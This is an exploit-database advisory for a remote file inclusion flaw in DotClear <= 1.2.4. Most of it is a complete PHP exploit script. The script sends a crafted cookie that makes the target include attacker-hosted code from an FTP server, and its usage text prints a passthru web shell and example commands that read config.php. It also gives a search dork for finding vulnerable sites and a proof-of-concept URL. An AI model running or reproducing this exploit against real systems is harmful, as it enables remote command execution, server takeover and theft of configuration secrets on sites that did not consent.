DotClear <= 1.2.4 'blog_dc_path' (php5) arbitrary remote inclusion

2006-06-07 / 2006-06-08
Credit: rgod
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 5.1/10
Impact Subscore: 6.4/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/php -q -d short_open_tag=on <? echo "DotClear <= 1.2.4 prepend.php/'blog_dc_path' arbitrary remote inclusionrn"; echo "by rgod rgod (at) autistici (dot) org [email concealed]rn"; echo "site: http://retrogod.altervista.orgrnrn"; echo "dork: "propuls par DotClear" "fil atom" "fil rss" +commentairesrnrn"; /* works with PHP5 register_globals=On, allow_url_fopen=On */ if ($argc<5) { echo "Usage: php ".$argv[0]." host path ftp cmd OPTIONSrn"; echo "host: target server (ip/hostname)rn"; echo "path: path to dotclearrn"; echo "ftp: a ftp location (without ending slash)rn"; echo "cmd: a shell commandrn"; echo "Options:rn"; echo " -p[port]: specify a port other than 80rn"; echo " -P[ip:port]: specify a proxyrn"; echo "Examples:rn"; echo "php ".$argv[0]." target.com /dotclear/ ftp://username:pass (at) somehost (dot) com [email concealed] cat ./../conf/config.phprn"; echo "php ".$argv[0]." target.com /dotclear/ ftp://username:pass (at) somehost (dot) com [email concealed]/somedir ls -la -p81rn"; echo "php ".$argv[0]." target.com / ftp://username:pass (at) somehost (dot) com [email concealed] ls -la -P1.1.1.1:80rn"; echo "note, on remote ftp you need this code in themes/default/prepend.php:rn"; echo "<?phprn"; echo "if (get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["c md"]);}rn"; echo "ini_set("max_execution_time",0);rn"; echo "echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);rn"; echo "passthru($_REQUEST["cmd"]);rn"; echo "echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);rn"; echo "?>rn"; die; } /* software site: http://www.dotclear.net/ vulnerable code in layout/prepend.php near lines 78-104: ... # Variable de conf $theme_path = $blog_dc_path.'/themes/'; $theme_uri = dc_app_url.'/themes/'; $img_path = dc_img_url; # Dfinition du th?me et de la langue $__theme = dc_theme; $__lang = dc_default_lang; # Ajout des functions.php des plugins $objPlugins = new plugins(dirname(__FILE__).'/../'.DC_ECRIRE.'/tools/'); foreach ($objPlugins->getFunctions() as $pfunc) { require_once $pfunc; } # Dfinition du template if (!is_dir($theme_path.$__theme)) { header('Content-type: text/plain'); echo 'Le th?me '.$__theme.' n'existe pas'; exit; } if (file_exists($theme_path.$__theme.'/template.php')) { $dc_template_file = $theme_path.$__theme.'/template.php'; } else { $dc_template_file = $theme_path.'default/template.php'; } echo $dc_template_file; # Prepend du template s'il existe if (file_exists(dirname($dc_template_file).'/prepend.php')) { require dirname($dc_template_file).'/prepend.php'; } ... $blog_dc_path var is not sanitized before to be used to include files, on PHP5, because is_dir() and file_exists() funcs support ftp wrappers, you can include an arbitrary prepend.php file in a themes/default/ folder from a remote resource, poc: http://[target]/[path_to_dotclear]/layout/prepend.php?blog_dc_path=ftp:/ /username:password (at) somesite (dot) com [email concealed]&cmd=ls%20-la */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } $host=$argv[1]; $path=$argv[2]; $loc=$argv[3]; $cmd="";$port=80;$proxy=""; for ($i=4; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } $loc=urlencode($loc); $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $packet="GET ".$path."layout/prepend.php HTTP/1.0rn"; $packet.="User-Agent: Googlebot/2.1rn"; $packet.="Cookie: blog_dc_path=".$loc."; cmd=".$cmd.";rn"; //through cookies, log this $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); if (strstr($html,"*deli*")) {echo "exploit succeeded...rn"; $temp=explode("*deli*",$html); die($temp[1]); } else {echo "exploit failed...rn"; //debug echo $html; } ?> original url: http://retrogod.altervista.org/dotclear_124_php5_xpl.html


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